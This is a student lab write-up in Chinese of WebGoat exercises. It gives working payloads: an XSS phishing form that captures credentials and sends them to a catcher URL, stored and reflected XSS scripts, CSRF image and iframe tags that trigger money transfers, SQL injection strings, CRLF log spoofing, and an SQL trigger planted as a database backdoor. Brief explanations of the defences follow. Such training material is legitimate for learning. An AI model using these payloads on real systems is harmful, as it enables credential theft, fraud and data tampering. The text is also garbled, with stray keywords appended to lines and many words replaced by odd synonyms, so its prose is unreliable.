输入java -jar webgoat-container-7.1-exec.jar
,来运行webgoat
java
在浏览器输入localhost:8080/WebGoat
,进入WebGoat开始实验
web
1.Phishing with XSS (网路钓鱼)正则表达式
</form> <script> function hack(){ XSSImage=new Image; XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + ""; alert("Had this been a real attack... Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value); } </script> <form name="phish"> <br> <br> <HR> <H2>This feature requires account login:</H2> <br> <br>Enter Username:<br> <input type="text" name="user"> <br>Enter Password:<br> <input type="password" name = "pass"> <br> <input type="submit" name="login" value="login" onclick="hack()"> </form> <br> <br> <HR>
2.Stored XSS Attackssql
建立非法的消息内容,能够致使其余用户访问时载入非预期的页面或内容,输入标题,而后在message中输入一串代码,<script>alert("20155220 has no authority read it");</script>
数据库
结果如图:浏览器
3.Reflected XSS Attacks安全
<script>alert("20155220 has no authority change it");</script>
,就会弹出对话框:4.Cross Site Request Forgery(CSRF)服务器
写一个URL诱使其余用户点击,从而触发CSRF攻击,经过图片的的形式将URL放进Message框,这时的URL对其余用户是不可见的,用户一旦点击图片,就会触发一个CSRF事件。咱们输入<img src="http://localhost:8080/WebGoat/attack?Screen=2078372&menu=900&transferFunds=500" width="1" height="1">
cookie
如图:session
5.CSRF Prompt By-Pass
<img src="http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=201552220" width="1" height="1">
localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=20155220
http://localhost:8080/WebGoat/attack?Screen=1471017872&menu=900&transferFunds=CONFIRM
,成功转走了20155220元6.CSRF Token By-Pass
<iframe src="attack?Screen=803158781&menu=900&transferFunds=main" onload="readFrame1();"id="frame1" frameborder="1" marginwidth="0"marginheight="0"width="800" scrolling=yes height="300">
如图:
7.Numeric SQL Injection
or 1=1
:8.Log Spoofing
20155220%0d%0aLogin Succeeded for username: admin
,其中%0d是回车,%0a是换行符9.String SQL Injection
' or 1=1 --
,点击GO,能够查看到因此信息:10.Database Backdoors
101
,获得了该用户的信息:101; update employee set salary=100000
,成功把该用户的工资涨到了100000接下来建立一个后门,把表中全部的邮箱和用户ID都设为个人
输入101;CREATE TRIGGER pyhBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155220@stooges.com' WHERE userid = NEW.userid
攻击者利用网站漏洞(一般这些漏洞是指网站后台处理程序没有很好的对用户输入进行过滤),输入能够显示在页面上的、对其余用户形成影响的HTML代码;因为受害者浏览器对目标服务器的信任,当其访问目标服务器上被注入恶意脚本的页面后,这段恶意脚本能够顺利执行,实现获取用户cookie并能够利用用户身份进行非法操做的目的。
浏览器自身能够识别简单的XSS攻击字符串,从而阻止简单的XSS攻击;从根本上说,解决办法是消除网站的XSS漏洞,这就须要网站开发者运用转义安全字符等手段。
攻击的主要目的是让用户在不知情的状况下攻击本身已登陆的一个系统,相似于钓鱼。如用户当前已经登陆了邮箱,或bbs,同时用户又在使用另一个,已经被你控制的站点,咱们姑且叫它钓鱼网站。这个网站上面可能由于某个图片吸引你,你去点击一下,此时可能就会触发一个js的点击事件,构造一个bbs发帖的请求,去往你的bbs发帖,因为当前你的浏览器状态已是登录状态,因此session登录cookie信息都会跟正常的请求同样,纯自然的利用当前的登录状态,让用户在不知情的状况下,帮你发帖或干其余事情
经过referer、token或者验证码来检测用户提交;尽可能不要在页面的连接中暴露用户隐私信息,对于用户修改删除等操做最好都使用post操做;避免全站通用的cookie,严格设置cookie的域。